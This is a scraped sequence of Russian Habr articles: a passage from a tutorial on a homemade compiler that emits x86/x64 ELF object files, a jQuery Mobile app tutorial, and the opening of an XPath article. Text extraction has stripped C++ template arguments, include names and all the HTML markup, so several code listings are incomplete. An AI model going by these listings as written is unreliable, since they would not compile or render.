Чтобы реализовать задуманные оптимизации, во-первых, разделим общий вектор `code` на маленькие вектора сгенерированного машинного кода для каждой команды, и в конце будем склеивать их вместе.
Во-вторых, двух проходов нам уже не хватит: на первом проходе генерируем для каждой команды машинный код, на втором — выполняем оптимизации, на третьем — «заполировываем», заполняя смещения прыжков и строк. Одновременно с расчётом смещений прыжков будем по возможности заменять близкие (*near*) прыжки на короткие (*short*), так что на третьем проходе код дополнительно сократится, и потребуется ещё один проход — четвёртый; на нём вновь будем исправлять смещения прыжков, изменившиеся из-за сокращения кода.
В каждой команде придётся хранить количество сгенерированных `POP`, потому что по одному лишь машинному коду тяжело понять, является ли последний байт инструкцией `POP`, или просто совпал по значению. Количество сгенерированных `PUSH` нет надобности хранить: первый байт машинного кода расшифровывается однозначно.
```
struct commandn {
// ...
int offset; // от начала кода
int needfixat; // для JZ, ECHO
int popcnt; // INPUT, ECHO
std::vector code;// окончательный выполнимый
// ...
void pop\_back(int c = 1) {
code.resize(code.size()-c);
}
void pop\_front(int c = 1) {
code.erase(code.begin(), code.begin()+c);
}
};
// ...
// "предварительная" генерация кода для JZ:
// предполагаем, что прыжок будет близкий
case command::jz:
if(!i->cmd.dest) // JMP off
i->emit(0xe9);
else { // OR dst, dst / JZ off
i->emit(0x0b, 0xc0|(i->cmd.dest-1)<<3|(i->cmd.dest-1));
i->emit(0x0f, 0x84);
}
i->needfixat = i->code.size();
i->emit4(0);
break;
// ...
// в ECHO и INPUT добавляем счётчик popcnt;
// остальная генерация -- без изменений
case command::input:
foreach(rp, i->onenterp) if(\*rp!=4) i->emit(0x50|(\*rp-1));
i->emit(0xff, 0x55, 0);
if(i->cmd.dest!=1) i->emit(0x90|(i->cmd.dest-1));
foreachr(rp, i->onenterp) if(\*rp!=4) {
i->emit(0x58|(\*rp-1));
i->popcnt++;
}
break;
// ...
// второй проход: оптимизация в глазок, расчёт смещений команд
int offset = 0;
foreach2(i,pcode,next) {
i->offset = offset;
// пары "POP-PUSH"
while(i->popcnt && ((next->code[0]&0xfc) == 0x50) &&
((i->code.back()&3) == (next->code[0]&3)) &&
// особый случай: нужно загрузить и пересохранить
!((next->cmd.opcode==command::echo) && (next->cmd.dest==(next->code[0]&3)+1))) {
i->pop\_back();
next->pop\_front();
i->popcnt--;
if(next->needfixat) next->needfixat--;
}
// пары "сравнение-JZ"
if((i->cmd.opcode>=command::eq) && (next->cmd.opcode==command::jz) &&
(i->cmd.dest==next->cmd.dest) && !next->onexitp.count((physreg)next->cmd.dest)) {
char cc = i->code[i->code.size()-5]; // cond code
i->pop\_back(6); // SETcc / MOVZX
next->code.clear(); // заменяем всю команду
next->emit(0x0f, cc^0x11);
next->needfixat = next->code.size();
next->emit4(0);
}
offset += i->code.size();
}
// третий проход: окончательная генерация прыжков
offset = 0;
foreach(i, pcode) {
i->offset = offset;
if(i->cmd.opcode==command::jz) {
int joffset = i->tgt->offset-(i->offset+i->code.size());
if((joffset>=-128) && (joffset<128)) { // заменяем команду
if(!i->cmd.dest) { // JMP SHORT
i->code.clear();
i->emit(0xeb, (char)joffset);
} else if(i->code[0]==0x0b && i->code[1]==0xc9) { // OR ECX, ECX
i->code.clear();
i->emit(0xe3, (char)joffset); // JECXZ
} else {
char cc = i->code[i->code.size()-5]; // cond code
i->pop\_back(6);
i->emit(cc^0xf0, (char)joffset);// Jcc SHORT
}
i->needfixat = i->code.size()-1; // в последнем байте смещение
}
}
offset += i->code.size();
}
// четвёртый проход: подставляем смещения в прыжках
foreach(i, pcode) if(i->needfixat)
if(i->cmd.opcode==command::jz) {
int joffset = i->tgt->offset-(i->offset+i->code.size());
switch(i->code[i->needfixat]-1) {
case 0xeb: case 0xe3: case 0x74: case 0x75: case 0x7c: case 0x7d: case 0x7e: case 0x7f:
i->code[i->needfixat] = (char)joffset; break; // short
default:
i->fix4(joffset);
}
}
else if (i->cmd.opcode==command::echo)
i->fix4(offsets[i->cmd.imm]);
```
### Стандартные функции
В прошлый раз реализация стандартных функций `input,echoi,echos` была в нашем загрузчике. В этот раз загрузчика не будет; где же будут функции?
Мы можем, в принципе, вставлять их код в каждый генерируемый бинарник; но это некрасиво. Вместо этого скомпилируем их в отдельный файл `.o`, который будет потом линковаться с нашим файлом. Преимущество этого подхода — в изоляции платформо-зависимости: все различия между x86 и x64, которые, с точки зрения нашего компилятора, заключаются в способе вызова сишных функций, — спрячем в платформо-зависимую библиотечку, а сами будем генерировать платформо-независимый код.
Нам удобно, чтобы наши стандартные функции принимали параметр в `ESI`, а результат возвращали в `EAX`. Так и сделаем. Вот реализация для x64:
```
.global input,echoi,echos
.text
fd: .asciz "%d"
fs: .asciz "%s"
input: push %rax
lea fd, %edi
xor %eax, %eax
mov %rsp, %rsi
call scanf
pop %rax
ret
echoi: lea fd, %edi
echo: xor %eax, %eax
jmp printf
echos: movslq %esi, %rsi
add %rbp, %rsi
lea fs, %edi
jmp echo
```
А вот — для x86:
```
.global input,echoi,echos
.text
fd: .asciz "%d"
fs: .asciz "%s"
input: push %eax
push %esp
push $fd
call scanf
pop %eax
pop2: pop %eax
pop %eax
ret
echoi: push %esi
push $fd
echo: call printf
jmp pop2
echos: add %ebp, %esi
push %esi
push $fs
jmp echo
```
### Вывод в ELF
Исполняемый код у нас практически готов; осталось лишь «упаковать» его так, чтобы ОС смогла его слинковать и запустить.
В памяти код будет состоять из тех же частей, что и прежде: код, данные, область связи для вызова стандартных функций. Отличие формата файлов `.o` от непосредственно исполнимых файлов — что в `.o` неизвестно сорасположение частей программы (*секций*) в памяти; поэтому компилятор не может сгенерировать ссылку из одной секции на адрес в другой. Вместо этого компилятор генерирует указание линкеру — *релокацию*, указывающую, какой адрес нужно вычислить при линковке, и как его нужно вычислять. Поэтому файлы `.o` в [спецификации формата ELF](http://www.skyfree.org/linux/references/ELF_Format.pdf) называются *релоцируемыми*.
Можно было бы разделить данные на две секции: отдельно инициализированные и неизменяемые (область связи и строки), отдельно неинициализированные и изменяемые (ячейки для вылитых регистров); но тогда на x86 нам не хватило бы регистров постоянно хранить базовые адреса обеих секций данных, — значит, пришлось бы генерировать по релокации на каждое обращение. Упростим себе жизнь, и обойдёмся одной секцией данных.
По той же самой причине для вызова стандартных функций мы пользуемся областью связи: для вызова напрямую потребовалось бы создавать по релокации на каждый вызов. Сделаем область связи 24-байтной и на x86, и на x64 — опять же, для простоты и кроссплатформенности. На x64 это будет просто массив из трёх указателей (на `input,echoi,echos`); на x86 за каждым указателем будет следовать 4-байтная «заглушка».
Получается, что релокаций у нас будет всегда четыре: три адреса стандартных функций в области связи, и загрузка базового адреса данных в `RBP/EBP` первой командой программы. В итоге, генерация «релоцируемого» кода почти не будет отличаться от генерации «сплошного куска» в прошлый раз. В некоторых отношениях она даже упростится: поскольку сейчас строки будут храниться отдельно от кода, мы можем запоминать их смещения прямо на этапе синтаксического разбора; так мы полностью избавимся от «временных идентификаторов строк» и от этапа их привязки перед выводом скомпилированного кода. Кроме того, способ вызова стандартных функций теперь не будет зависеть от платформы.
```
typedef std::map stringmap;
stringmap strings;
int laststr = 24; // строки идут сразу за областью связи
std::vector strdata; // порядок важен
// ...
// в коде свёртки VAL: ID '(' ARGS ')'
if (!$1.compare("echo")) {
if(!$3.size())
yyerror("Input: too many arguments");
$$ = 0;
foreach(i, $3)
if(!i->dest) // string
if(strings.count(i->str))
emit(command::echo, 0, strings[i->str]);
else {
strdata.push\_back(strings.insert(stringmap::value\_type(i->str,laststr)).first);
emit(command::echo, 0, laststr);
laststr += i->str.length()+1;
}
else
emit(command::echo, i->dest, 0);
}
// ...
// (на первом проходе по п-коду)
case command::hlt:
i->emit(0x5b, 0x5e, 0x5f, 0x5d); // POP EBX / POP ESI / POP EDI / POP EBP
i->emit(0xc3); // RET
break;
case command::echo: // PUSH live / MOV EDI, dst / CALL [EBP+?] / POP live
foreach(rp, i->onexitp) if(\*rp!=4) i->emit(0x50|(\*rp-1));
if(!i->cmd.dest) { // imm / [EBP+16]
i->emit14(0xbe, i->cmd.imm);
i->emit(0xff, 0x55, 16);
} else {
if(i->known.count(i->cmd.dest)) // imm / [EBP+4]
i->emit14(0xbe, i->known[i->cmd.dest]);
else // dst / [EBP+8]
i->emit(0x8b, 0xf0|(i->cmd.dest-1));
i->emit(0xff, 0x55, 8);
}
foreachr(rp, i->onexitp) if(\*rp!=4) {
i->emit(0x58|(\*rp-1));
i->popcnt++;
}
break;
```
Релокации в ELF бывают в двух форматах: `rel` или `rela`. Формат `rel` компактнее, но линкеру проще работать с `rela`; поэтому при переходе на платформу x64 релокации типа `rel` объявили «осуждаемыми» (*deprecated*). Тем не менее, моя версия `ld` поддерживает `rel` в 64-битном коде, поэтому генерировать будем именно `rel`.
Сгенерируем восемь стандартных секций: пустую, `.shstrtab, .strtab, .symtab, .rel.text, .rel.data, .text, .data`. Заголовок ELF и первые шесть секций имеют предопределённое содержимое; только `.text` и `.data` наполняются в зависимости от сгенерированного кода.
```
// объявления ELF
#include
#if ELF\_CLASS == ELFCLASS32
#define Elf\_Shdr Elf32\_Shdr
#define Elf\_Sym Elf32\_Sym
#define Elf\_Rel Elf32\_Rel
#define ELF\_R\_INFO(s,t) (((s)<<8)+(unsigned char)(t))
#define R\_32 R\_386\_32
#else
#define Elf\_Shdr Elf64\_Shdr
#define Elf\_Sym Elf64\_Sym
#define Elf\_Rel Elf64\_Rel
#define ELF\_R\_INFO(s,t) (((unsigned long)(s)<<32)+(t))
#define R\_32 R\_X86\_64\_32
#endif
#define ST\_GLOBAL\_NOTYPE STB\_GLOBAL<<4
// ...
// после четырёх проходов генерации:
// привязка смещений строк больше не нужна
// осталось только вывести код
// пролог: PUSH EBP / PUSH EDI / PUSH ESI / PUSH EBX / MOV RBP, ...
const char prolog[] = {0x55,0x57,0x56,0x53,0x48,0xc7,0xc5,0,0,0,0};
offset += sizeof(prolog);
int alignment = ((offset+3)&~3) - offset; // выравнивание на dword
offset += alignment;
const struct {
elfhdr hdr;
Elf\_Shdr Shdr[8];
char shstrtab[64];
char strtab[24];
Elf\_Sym symtab[6];
Elf\_Rel reltext[1];
Elf\_Rel reldata[3];
} elf =
{{{ELFMAG0, ELFMAG1, ELFMAG2, ELFMAG3, ELF\_CLASS, ELF\_DATA, EV\_CURRENT}, // identification
ET\_REL, ELF\_ARCH, EV\_CURRENT, 0, 0, sizeof(elfhdr), 0, sizeof(elfhdr), 0, 0, sizeof(Elf\_Shdr),8, 1},
{{0, SHT\_NULL},
{1, SHT\_STRTAB, 0, 0, (char\*)&elf.shstrtab-(char\*)&elf, sizeof(elf.shstrtab), 0, 0, 1, 0},
{11, SHT\_STRTAB, 0, 0, (char\*)&elf.strtab-(char\*)&elf, sizeof(elf.strtab), 0, 0, 1, 0},
{19, SHT\_SYMTAB, 0, 0, (char\*)&elf.symtab-(char\*)&elf, sizeof(elf.symtab), 2, 2, 8,sizeof(Elf\_Sym)},
{27, SHT\_REL, 0, 0, (char\*)&elf.reltext-(char\*)&elf, sizeof(elf.reltext), 3, 6, 8, sizeof(Elf\_Rel)},
{37, SHT\_REL, 0, 0, (char\*)&elf.reldata-(char\*)&elf, sizeof(elf.reldata), 3, 7, 8, sizeof(Elf\_Rel)},
{47, SHT\_PROGBITS, SHF\_ALLOC|SHF\_EXECINSTR, 0, sizeof(elf), offset, 0, 0, 4, 0},
{53, SHT\_PROGBITS, SHF\_ALLOC|SHF\_WRITE, 0, sizeof(elf)+offset, laststr+lastspill\*4, 0, 0, 4, 0}},
"\0.shstrtab\0.strtab\0.symtab\0.rel.text\0.rel.data\0.text\0.data", // shstrtab
"\0main\0input\0echoi\0echos", // strtab
{{},
#if ELF\_CLASS == ELFCLASS32
{0, 0, 0, STT\_SECTION, 0, 7},
{1, 0, 0, ST\_GLOBAL\_NOTYPE, 0, 6}, // main
{6, 0, 0, ST\_GLOBAL\_NOTYPE, 0, 0}, // input
{12, 0, 0, ST\_GLOBAL\_NOTYPE, 0, 0}, // echoi
{18, 0, 0, ST\_GLOBAL\_NOTYPE, 0, 0}}, // echos
#else
{0, STT\_SECTION, 0, 7, 0, 0},
{1, ST\_GLOBAL\_NOTYPE, 0, 6, 0, 0}, // main
{6, ST\_GLOBAL\_NOTYPE, 0, 0, 0, 0}, // input
{12, ST\_GLOBAL\_NOTYPE, 0, 0, 0, 0}, // echoi
{18, ST\_GLOBAL\_NOTYPE, 0, 0, 0, 0}}, // echos
#endif
{{7, ELF\_R\_INFO(1,R\_32)}}, // reltext
{{0, ELF\_R\_INFO(3,1)}, // input
{8, ELF\_R\_INFO(4,1)}, // echoi
{16, ELF\_R\_INFO(5,1)}} // echos
};
write(1, &elf, sizeof(elf));
// вывод кода
write(1, prolog, sizeof(prolog));
foreach(i, pcode)
write(1, &\*i->code.begin(), i->code.size());
// дополнение до dword
const char zero[24] = {};
write(1, zero, alignment);
// область связи
write(1, zero, 24);
// вывод строк
foreach(i, strdata)
write(1, (\*i)->first.c\_str(), (\*i)->first.length()+1);
// резервируем место для выливания
ftruncate(1, sizeof(elf)+offset+laststr+lastspill\*4);
```
### Как это работает?
В неизменном заголовке, который мы дописываем к сгенерированному коду, куча непонятных циферок. Что все они значат?
Пройдёмся по порядку.* `ELFMAG0,ELFMAG1,ELFMAG2,ELFMAG3`: четыре «волшебных байта», с которых должен начинаться ELF-файл;
* `ELF_CLASS,ELF_DATA,EV_CURRENT`: идентификаторы «битности» (ширины слова), порядка байтов в слове, и версии формата ELF. В зависимости от этих идентификаторов расшифровывается весь остальной заголовок (в его 32- и 64-битной версиях разный размер полей);
* `ET_REL`: тип ELF-файла («релоцируемый», «исполняемый», «динамическая библиотека»);
* `ELF_ARCH,EV_CURRENT`: идентификатор процессора и ещё раз версия формата;
* `0,0`: адрес точки входа и смещение таблицы сегментов. В релоцируемых файлах нет ни того, ни другого;
* `sizeof(elfhdr)`: смещение таблицы секций. У нас она пойдёт сразу же за заголовком;
* `0`: флаги, на x86/x64 не определены;
* `sizeof(elfhdr)`: размер заголовка;
* `0,0`: размер и количество записей в таблице сегментов. У нас этой таблицы как не было, так и нет;
* `sizeof(Elf_Shdr),8`: размер и количество записей в таблице секций;
* `1`: номер секции, содержащей названия всех секций;
* `"\0.shstrtab\0.strtab\0.symtab\0.rel.text\0.rel.data\0.text\0.data"`: названия всех секций, одно за другим. Первым символом строки должен быть `\0`, чтобы нулевое смещение указывало на пустое название;
* `{0, SHT_NULL}`: секция №0 по стандарту должна быть пустой;
* `1`: название секции (смещение внутри `shstrtab`);
* `SHT_STRTAB`: тип секции (в данном случае, «таблица строк»);
* `0`: флаги (чтение, запись, выполнение), задающие для секции защиту памяти. Для служебных секций, таких как таблицы имён, не нужно ничего из этого;
* `0`: адрес секции в памяти. В релоцируемых файлах не определён;
* `(char*)&elf.shstrtab-(char*)&elf,sizeof(elf.shstrtab)`: смещение секции в файле, и её размер;
* `0,0`: два дополнительных поля, трактовка которых зависит от типа секции. Для таблицы строк не определены;
* `1`: размер блока выравнивания; для строк — 1 байт, т.е. без выравнивания;
* `0`: размер записи внутри секции. В таблице строк записи неопределённой длины;
* `{11,SHT_STRTAB,0,0,(char*)&elf.strtab-(char*)&elf,sizeof(elf.strtab),0,0,1,0}`: ещё одна таблица строк. Отличается только именем (11—`.strtab`);
* `{19,SHT_SYMTAB,0,0,(char*)&elf.symtab-(char*)&elf,sizeof(elf.symtab),2,2,8,sizeof(Elf_Sym)}`: секция типа «таблица символов». Содержимое дополнительных полей: первая двойка — номер секции с именами символов (предыдущая, т.е. `.strtab`), вторая двойка — номер первого глобального символа;
* `{27,SHT_REL,0,0,(char*)&elf.reltext-(char*)&elf,sizeof(elf.reltext),3,6,8,sizeof(Elf_Rel)}`: секция типа «таблица релокаций». Содержимое дополнительных полей: ссылка на таблицу символов (предыдущая секция, она же №3) и на релоцируемую секцию (`.text`, она же №6);
* `{37,SHT_REL,0,0,(char*)&elf.reldata-(char*)&elf,sizeof(elf.reldata),3,7,8,sizeof(Elf_Rel)}`: ещё одна таблица релокаций. Ссылается на ту же самую таблицу символов (№3) и на секцию `.data` (№7);
* `{47,SHT_PROGBITS,SHF_ALLOC|SHF_EXECINSTR,0,sizeof(elf),offset,0,0,4,0}`: секция данных (`SHT_PROGBITS`) с возможностью выполнения (`SHF_EXECINSTR`) размером `offset`;
* `{53,SHT_PROGBITS,SHF_ALLOC|SHF_WRITE,0,sizeof(elf)+offset,laststr+lastspill*4,0,0,4,0}`: секция данных с возможностью изменения (`SHF_WRITE`), в которой будут строки и 4-байтные ячейки для выливания;
* `"\0main\0input\0echoi\0echos"`: имена символов (импортируемых и экспортируемых), в таком же формате, как имена секций;
* `{}`: символ №0 должен остаться пустым;
* `{0, 0, 0, STT_SECTION, 0, 7}`: безымянный (0) локальный символ, указывающий на секцию (`STT_SECTION`) №7, т.е. `.data`;
* `{1, 0, 0, ST_GLOBAL_NOTYPE, 0, 6}`: глобальный (ST\_GLOBAL\_NOTYPE) символ по имени `main` (смещение имени 1), указывает на смещение 0 в секции №6, т.е. `.text`;
* `{6, ST_GLOBAL_NOTYPE, 0, 0, 0, 0}`: глобальный символ по имени `input` (смещение имени 6), не относящийся ни к одной секции, т.е. импортируемый;
* два других импортируемых символа, `echoi` и `echos`, определены аналогично.
Чтобы запутать программистов, структуры `Elf32_Sym` и `Elf64_Sym` определены с одинаковыми полями, но в разном порядке. У нас не остаётся выхода, кроме как написать два варианта кода, и при помощи `#ifdef` выбирать один из них.
Релокации типа `rel` состоят из троек «смещение релоцируемого поля, номер символа, код типа привязки». Первая релокация (`{7, ELF_R_INFO(1,R_32)}`) — в прологе, по смещению 7 от начала кода; она задаёт базовый адрес данных, загружаемый в `EBP/RBP`. Эта релокация ссылается на символ №1, т.е. на секцию `.data`. На любой архитектуре она имеет размер 32 бита. Код типа привязки при этом отличается: `R_386_32=1` на x86, и `R_X86_64_32=10` на x64.
Три других релокации — в данных, получение адресов трёх импортируемых функций по смещениям 0,8,16. Эти три релокации ссылаются на импортируемые символы (№№3,4,5), и используют код привязки 1, всегда равный машинному слову (`R_386_32,R_X86_64_64`).
Полный код компилятора: [tyomitch.net.ru/jsk.y.elf.html](http://tyomitch.net.ru/jsk.y.elf.html)
Если вас заинтересовал сбор бинарников вручную, советую глянуть [способы уменьшения размеров ELF-файлов](http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html), от практически полезных трюков до чокнутых хаков; и заодно [примеры донельзя ужатых программ](http://www.muppetlabs.com/~breadbox/software/tiny/).
> Получился файл размером 45 байт: в пять раз меньше, чем на ассемблере, и в пятьдесят раз меньше, чем на Си. Мы выкинули из файла всё, что смогли; а то, что не смогли выкинуть, используем одновременно в двух-трёх целях.
>
>
>
> Примерно половина значений в этом файле так или иначе нарушают стандарт ELF; нормальный программист постеснялся бы признаться, что такая программа — плод его рук. Поразительно, что Linux соглашается присвоить PID этому кошмару.
>
>
>
> С другой стороны, про каждый байт в этом файле я могу объяснить, зачем он нужен. Часто вы можете сказать то же самое про скомпилированные вами файлы?
>
>
### Что получилось?
Теперь окончательный бинарник получается из двух независимых компонент, которые можем скомпилировать по отдельности.
`````
[tyomitch@home ~]$ **as jskstd.s -o jskstd.o**
[tyomitch@home ~]$
[tyomitch@home ~]$ **bison jsk.y**
[tyomitch@home ~]$ **c++ jsk.tab.c lex.yy.c -o jskc**
[tyomitch@home ~]$
[tyomitch@home ~]$ **./jskc < test.jsk > code.o**
[tyomitch@home ~]$ **cc jskstd.o code.o**
[tyomitch@home ~]$ **./a.out**
Задумай число от 0 до 1000, а я буду угадывать
Это 500? (1=меньше, 2=больше, 3=попал) **1**
Это 249? (1=меньше, 2=больше, 3=попал) **3**
Ура! Я молодец!
[tyomitch@home ~]$ **objdump -d code.o**
code.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 :
0: 55 push %rbp
1: 57 push %rdi
2: 56 push %rsi
3: 53 push %rbx
4: 48 c7 c5 00 00 00 00 mov $0x0,%rbp
b: 33 c0 xor %eax,%eax
d: b9 e8 03 00 00 mov $0x3e8,%ecx
12: 50 push %rax
13: 51 push %rcx
14: be 18 00 00 00 mov $0x18,%esi
19: ff 55 10 callq \*0x10(%rbp)
1c: 59 pop %rcx
1d: 58 pop %rax
1e: 50 push %rax
1f: 51 push %rcx
20: be 00 00 00 00 mov $0x0,%esi
25: ff 55 08 callq \*0x8(%rbp)
28: be 38 00 00 00 mov $0x38,%esi
2d: ff 55 10 callq \*0x10(%rbp)
30: 59 pop %rcx
31: 51 push %rcx
32: be e8 03 00 00 mov $0x3e8,%esi
37: ff 55 08 callq \*0x8(%rbp)
3a: be 3f 00 00 00 mov $0x3f,%esi
3f: ff 55 10 callq \*0x10(%rbp)
42: 59 pop %rcx
43: 58 pop %rax
44: 3b c1 cmp %ecx,%eax
46: 0f 8f 6c 00 00 00 jg b8
4c: 8d 14 01 lea (%rcx,%rax,1),%edx
4f: d1 fa sar %edx
51: 50 push %rax
52: 51 push %rcx
53: 52 push %rdx
54: be 64 00 00 00 mov $0x64,%esi
59: ff 55 10 callq \*0x10(%rbp)
5c: 5a pop %rdx
5d: 52 push %rdx
5e: 8b f2 mov %edx,%esi
60: ff 55 08 callq \*0x8(%rbp)
63: be 6c 00 00 00 mov $0x6c,%esi
68: ff 55 10 callq \*0x10(%rbp)
6b: ff 55 00 callq \*0x0(%rbp)
6e: 93 xchg %eax,%ebx
6f: 5a pop %rdx
70: 59 pop %rcx
71: 58 pop %rax
72: 89 85 04 01 00 00 mov %eax,0x104(%rbp)
78: 83 fb 01 cmp $0x1,%ebx
7b: 75 0b jne 88
7d: 8b 85 04 01 00 00 mov 0x104(%rbp),%eax
83: 8d 4a ff lea 0xffffffffffffffff(%rdx),%ecx
86: eb bc jmp 44
88: 83 fb 02 cmp $0x2,%ebx
8b: 75 05 jne 92
8d: 8d 42 01 lea 0x1(%rdx),%eax
90: eb b2 jmp 44
92: 8b 85 04 01 00 00 mov 0x104(%rbp),%eax
98: 83 fb 03 cmp $0x3,%ebx
9b: 75 0d jne aa
9d: be 9f 00 00 00 mov $0x9f,%esi
a2: ff 55 10 callq \*0x10(%rbp)
a5: 5b pop %rbx
a6: 5e pop %rsi
a7: 5f pop %rdi
a8: 5d pop %rbp
a9: c3 retq
aa: 50 push %rax
ab: 51 push %rcx
ac: be bb 00 00 00 mov $0xbb,%esi
b1: ff 55 10 callq \*0x10(%rbp)
b4: 59 pop %rcx
b5: 58 pop %rax
b6: eb 8c jmp 44
b8: be dd 00 00 00 mov $0xdd,%esi
bd: ff 55 10 callq \*0x10(%rbp)
c0: 5b pop %rbx
c1: 5e pop %rsi
c2: 5f pop %rdi
c3: 5d pop %rbp
c4: c3 retq
```
Код выглядит сносно, хотя, наверное, и не дотягивает по качеству до сгенерированного llvm. Зато здесь каждый байт — собственными руками.`` | https://habr.com/ru/post/104104/ | null | ru | null |
# Пишем простое приложение на jQuery Mobile
Фреймворк [jQuery Mobile](http://jquerymobile.com/) вышел уже относительно давно, но только сейчас мне удалось им заняться. До этого имел дело с jQTouch и Sencha Touch. У каждого из них есть свои плюсы и минусы, но сегодня речь пойдет именно про разработку на jQuery Mobile. Для получения базового опыта я опишу создание простого приложения с несколькими страницами, интеграцией с твиттер и гуглокартами, ну и набором базовых элементов. Поехали!
Итак, сначала подключим фреймворк и стили.
```
```
Теперь примемся за страницы. Тут стоить отметить схожесть jQuery Mobile и jQTouch — все приложение это одна html страницы, на которой отмеченные особым образом div`ы являются «страницами» приложения. Базовый вид такой «страницы приложения» имеет вид:
```
...
...
...
```
Параметр *data-role* задает роль div`а: страница, header, содержимое страницы или footer. Так же обязательно надо задавать параметр **id** для *div data-role=«page»*, чтобы можно было навигироваться по приложения.
Сразу стоит упомянуть еще об одном параметре *data-theme*. Данный параметр применим ко всем элементам страницы и определяет, какой из доступных по умолчанию стилей использовать. Примеры доступных тем можно посмотреть вот [тут](http://jquerymobile.com/demos/1.0a2/#docs/pages/pages-themes.html).
Итак, на главной странице нашего приложения будет меню, элементы которого будут вести на страницы с примерами. Чтобы сделать меню нам понадобится список *ul*. Выглядеть это будет вот так:
```
* [Twitter example](#twitter_page)
* [Map example](#map_page)
* [Search example](#search)
* [About](#about)
```
О параметрах тега *ul*:
* data-role=«listview» — показывает что это список, к которому нужно применить стилизацию;
* data-inset=«true» — отображение списка не на всю ширину экрана, если нет, то эквивалентно false;
* data-theme=«a»- применение цветовой схемы а.
В jQuery Mobile можно найти массу типов списков: простые, с иконками, с изображениями и прочие и прочие. Примеры можно посмотреть вот [тут](http://jquerymobile.com/demos/1.0a2/#docs/lists/index.html).
А еще мне хочется, чтобы в тулбаре была кнопка с настройками. Сделать это очень просто:
```
[Options](#settings)
```
Как видно, данная кнопка ведет на страницу с настройками, имеет иконку шестеренки (*data-icon=«gear»*) и расположена в правой части тулбара(*class=«ui-btn-right»*). Во фреймворке уже есть набор предопределенных иконок, посмотреть их можно [тут](http://jquerymobile.com/demos/1.0a2/#docs/buttons/buttons-icons.html).
В конечном итоге главная страница будет выглядеть вот так:
```
Home page
=========
[Options](#settings)
* [Twitter example](#twitter_page)
* [Map example](#map_page)
* [Search example](#search)
* [About](#about)
```
Теперь перейдем к созданию остальных страниц. Займемся страницей настроек. На ней мы расположим некоторые из элементов формы, полный список которых можно посмотреть [тут](http://jquerymobile.com/demos/1.0a2/#docs/forms/index.html).
Руководство рекомендует группировать все элементы внутри определенного дива:
```
```
Последуем данной рекомендации.
Расположим на форме следующие элементы.
Поле ввода
```
My name:
```
Большое текстовое поле
```
About myself:
```
Слайдер, задав его максимально, минимальное и текущее значения
```
Value this site:
```
Переключатель
```
Value this site:
Like
Dislike
```
И селектор
```
Tired
Happy
Sick
Sunny
```
На этом со страницей настроек все. Кстати, если запустить имеющий код и перейти на только что созданную страницу, то можно увидеть, что автоматом была создана кнопка «Back». Мелочь, а приятно.
Теперь создадим еще простую страницу — страницу поиска. На ней у нас будут два главных элемента — поле ввода и список результатов.
```
Search
```
Теперь обратимся к яваскрипту. Забиндим для поле ввода на событие keyup наполнение списка результатов.
```
$("#search").keyup(function(){
var res = shuffle(monthes);
var list='';
$.each(res, function(index, value) {
list+='- '+value+'
';
});
$("#searchresult").html(list);
});
```
Несколько слов о коде. В первой строке мы перемешиваем имеющийся массив. Функция shuffle ниже.
```
var shuffle = function(o){ //v1.0
for(var j, x, i = o.length; i; j = parseInt(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x);
return o;
};
```
Затем мы создаем сам список. Создавать приходится таким образом, потому что происходит динамическое добавление элементов списка и фреймворк уже не будет их обрабатывать, для навешивания нужных стилей и параметров. Но возможно есть способ и лучше.
Теперь создадим пару интересных страниц. Первая будет работать с твиттером по средством @Anywhere. Сначала подключим нужные библиотеки:
```
```
Для получения ключа нужно зарегистрироваться вот [тут](http://dev.twitter.com/apps/new).
Затем создаем код нужной нам странички.
```
Simple twitter example
======================
```
А теперь самое главное — яваскрипт код, который будет выполняться, когда будет открываться нужная нам страница. Для отслеживания этого события существует специальный event — *pageshow*. Об остальных событиях читаем [тут](http://jquerymobile.com/demos/1.0a2/#docs/api/events.html).
```
$('#twitter_page').live('pageshow',function(event, ui){
twttr.anywhere(function(T) {
T.User.find('andrebrov').timeline().first(20).each(function(status) {
$('div#twi_list').append('' + status.user.name + ': ' + status.text + '
');
});
});
});
```
Подробности работы с @Anywhere можно прочитать по [ссылке](http://dev.twitter.com/anywhere/begin).
Открыв созданную нами страницу мы видим, что некоторое время она остается пустой — грузятся твиты. Чтобы дать пользователю понять, что в данных момент что-то происходит добавим спиннер. Тогда код будет выглядеть вот так:
```
$('#twitter_page').live('pageshow',function(event, ui){
twttr.anywhere(function(T) {
$.mobile.pageLoading();
var j=0;
T.User.find('andrebrov').timeline().first(20).each(function(status) {
$('div#twi_list').append('' + status.user.name + ': ' + status.text + '
');
j++;
if (j==1){
$.mobile.pageLoading(true);
}
});
});
});
```
Про спиннер и прочие утилиты читаем [тут](http://jquerymobile.com/demos/1.0a2/#docs/api/methods.html).
Теперь займемся страницей карты. Вначале опять же подключим нужные скрипты
```
```
Затем создадим страницу
```
Map example
===========
```
Элемент *map\_canvas* и будет содержать карту. Зададим ему стиль
```
#map_canvas{
width:100%;
height: 100%;
position:relative;
top:0px;
}
```
И добавим javascript-код, который будет определять текущее местоположение, относительно него центрировать карту и добавлять в центр маркер. На этот маркер мы кроме прочего повесим событие на его нажатие.
```
$('#map_page').live('pageshow',function(event, ui){
navigator.geolocation.getCurrentPosition(function(location) {
var point = new google.maps.LatLng(location.coords.latitude, location.coords.longitude);
var myOptions = {
zoom: 13,
center: point,
mapTypeId: google.maps.MapTypeId.ROADMAP
};
var map = new google.maps.Map(document.getElementById("map_canvas"),myOptions);
var marker = new google.maps.Marker({position: point,map: map});
google.maps.event.addListener(marker, 'click', function() {
alert("Current coodinates are: latitude "+location.coords.latitude+", longitude "+location.coords.longitude);
});
});
});
```
И, наконец, страница обо мне =) На ней интересными элементами будут элементы списка:
Разделитель с закруглениями
```
-
```
Ссылка, открывающая почтовый клиент
```
- [EMail me](mailto:mailme@gmail.com)
```
Ссылка, приводящая к набору номера
```
- [Call me](tel:+79000000000)
```
О типах ссылок читаем [здесь](http://jquerymobile.com/demos/1.0a2/#docs/pages/link-formats.html).
Итак, наше приложение готово!
[Итоговый результат](http://andrebrov.net/dev/jqm/).
[Исходники](http://andrebrov.net/dev/jqm/jQM demo.zip).
[Документация](http://jquerymobile.com/demos/1.0a2/)
Приятной всем работы! | https://habr.com/ru/post/109739/ | null | ru | null |
# Три редкоиспользуемые оси в XPath
Основная мощь языка XPath заключается в осях, позволяющих добраться до любого элемента в исходном документе. Рассмотрим применение таких редкоиспользуемых осей, как **ancestor**, **descendant** и **self**.
#### ancestor
